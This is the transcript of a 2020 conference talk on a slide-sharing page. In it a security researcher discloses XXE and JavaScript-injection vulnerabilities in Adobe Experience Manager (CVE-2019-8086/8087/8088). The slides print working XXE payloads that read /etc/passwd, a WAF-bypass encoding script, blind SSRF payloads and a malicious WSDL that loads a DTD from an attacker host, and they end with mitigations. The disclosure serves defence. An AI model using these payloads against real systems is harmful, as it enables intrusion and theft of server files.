Upgrade to Pro — share decks privately, control downloads, hide ads and more …

A Hacker's perspective on AEM applications secu...

Mikhail Egorov
September 30, 2020

A Hacker's perspective on AEM applications security

Adobe Experience Manager (AEM), is a comprehensive content management solution for building websites, managing marketing content and assets. I started to look into AEM security back in 2015. Since then I discovered and reported several server-side vulnerabilities and developed toolset for AEM hacking to automate security testing of AEM web-applications.

In 2019 I reported one code injection and three XML external entity (XXE) vulnerabilities to Adobe PSIRT. They are known as CVE-2019-8086, CVE-2019-8087, CVE-2019-8088. These vulnerabilities allow anonymous attackers to compromise AEM web-application.

In the talk, I will disclose details of discovered vulnerabilities and exploitation techniques.

Mikhail Egorov

September 30, 2020
Tweet

More Decks by Mikhail Egorov

Other Decks in Programming

Transcript

  1. EUROPE'S LEADING AEM DEVELOPER CONFERENCE 28th – 30th SEPTEMBER 2020

    A Hacker's perspective on AEM applications security Mikhail Egorov, Security researcher & bug hunter
  2. whoami 3 ▪ Security researcher & full-time bug hunter ▪

    https://bugcrowd.com/0ang3el ▪ https://hackerone.com/0ang3el ▪ Conference speaker ▪ https://www.slideshare.net/0ang3el ▪ https://speakerdeck.com/0ang3el
  3. APSB19-48 6 ▪ http://helpx.adobe.com/security/products/experi ence-manager/apsb19-48.html ▪ CVE-2019-8086 / XML eXternal

    Entity Injection ▪ CVE-2019-8087 / XML eXternal Entity Injection ▪ CVE-2019-8088 / JavaScript Code Injection
  4. XML eXternal Entity (XXE) attacks 7 ▪ Do we see

    the parsed XML? ▪ What’s allowed by the XML parser? ▪ General external entities ▪ Parameter external entities ▪ External DTD loading
  5. XML eXternal Entity (XXE) attacks 8 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE

    foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> <foo>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync … </foo>
  6. XML eXternal Entity (XXE) attacks 9 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE

    foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:4503"> %xxe; ]> <foo></foo>
  7. CVE-2019-8086 11 ▪ GuideInternalSubmitServlet @Service({Servlet.class}) @Properties({@Property( name = "sling.servlet.resourceTypes", value

    = {"fd/af/components/guideContainer"} ), @Property( name = "sling.servlet.methods", value = {"POST"} ), @Property( name = "sling.servlet.selectors", value = {"af.internalsubmit"} )}) public class GuideInternalSubmitServlet …
  8. CVE-2019-8086 14 ▪ XXE payload <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE afData

    [ <!ENTITY a SYSTEM "file:///etc/passwd"> ]> <afData>&a;</afData>
  9. CVE-2019-8086 16 ▪ Exploitation hints ▪ We can JSON-encode XXE

    payload to bypass a WAF ▪ In Java we can list directory content ▪ /proc/self/cwd
  10. CVE-2019-8086 17 ▪ JSON-encoding data = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE afData

    [<!ENTITY a SYSTEM "file:///etc/passwd">]><afData>&a;</afData>' result = "“ for c in data: result = result + "\\u00%02x" % ord(c) print result
  11. CVE-2019-8086 19 ▪ XXE payload <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE afData

    [ <!ENTITY a SYSTEM "file:///etc"> ]> <afData>&a;</afData>
  12. CVE-2019-8086 21 ▪ Exploitation requirements ▪ There should be a

    node with fd/af/components/guideContainer resource type ▪ property=sling:resourceType&property.value=fd/af/comp onents/guideContainer ▪ Attacker should have a jcr:write access somewhere ▪ /content/usergenerated/etc/commerce/smartlists/
  13. CVE-2019-8086 22 ▪ Exploitation requirements ▪ Doesn’t work equally on

    different AEM versions ▪ Only blind SSRF for some versions <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE afData SYSTEM "http://localhost:4503" []> <afData></afData>
  14. CVE-2019-8087 23 ▪ WSDLInvokerServlet @Service({Servlet.class}) @Properties({@Property( name = "sling.servlet.resourceTypes", value

    = {"fd/af/components/guideContainer"} ), @Property( name = "sling.servlet.selectors", value = {"af.wsdl"} ), @Property( name = "sling.servlet.methods", value = {"POST"} )}) public class WSDLInvokerServlet …
  15. CVE-2019-8087 28 ▪ Malicious xxe.wsdl <?xml version="1.0"?> <!DOCTYPE definitions [

    <!ENTITY % dtd SYSTEM "http://attacker:1337/loot.dtd"> %dtd; %param1; ]> <definitions name="StockQuote" … <operation name="GetLastTradePrice"> <soap:operation soapAction="&internal;"/> …
  16. CVE-2019-8087 31 ▪ Exploitation requirements ▪ There should be a

    node with fd/af/components/guideContainer resource type ▪ property=sling:resourceType&property.value=fd/af/comp onents/guideContainer ▪ Attacker should have a jcr:write access somewhere ▪ /content/usergenerated/etc/commerce/smartlists/
  17. CVE-2019-8087 32 ▪ Exploitation requirements ▪ Doesn’t work equally on

    different AEM versions ▪ On some AEM versions WSDLInvokerServlet is not present
  18. CVE-2019-8088 33 ▪ GuideSubmitServlet @Service({Servlet.class}) @Properties({@Property( name = "sling.servlet.resourceTypes", value

    = {"fd/af/components/guideContainer"} ), @Property( name = "sling.servlet.methods", value = {"POST"} ), @Property( name = "sling.servlet.selectors", value = {"af.submit", "af.agreement", "af.signSubmit"} )}) public class GuideSubmitServlet extends SlingAllMethodsServlet { …
  19. CVE-2019-8088 39 ▪ Sandboxed Rhino engine on some AEM versions

    ▪ No RCE ▪ Sandbox allows network interactions ▪ SSRF w/ ability to see the response
  20. CVE-2019-8088 46 ▪ Exploitation requirements ▪ There should be a

    node with fd/af/components/guideContainer resource type ▪ property=sling:resourceType&property.value=fd/af/comp onents/guideContainer ▪ Attacker should have a jcr:write access somewhere ▪ /content/usergenerated/etc/commerce/smartlists/
  21. APSB19-48 48 ▪ Keep AEM up to date ▪ http://helpx.adobe.com/security/products/experie

    nce-manager/apsb19-48.html ▪ Block jcr:write access for anonymous user ▪ /content/usergenerated/etc/commerce/smartlists/ ▪ Remove demo content (Geometrixx, WeRetail, …)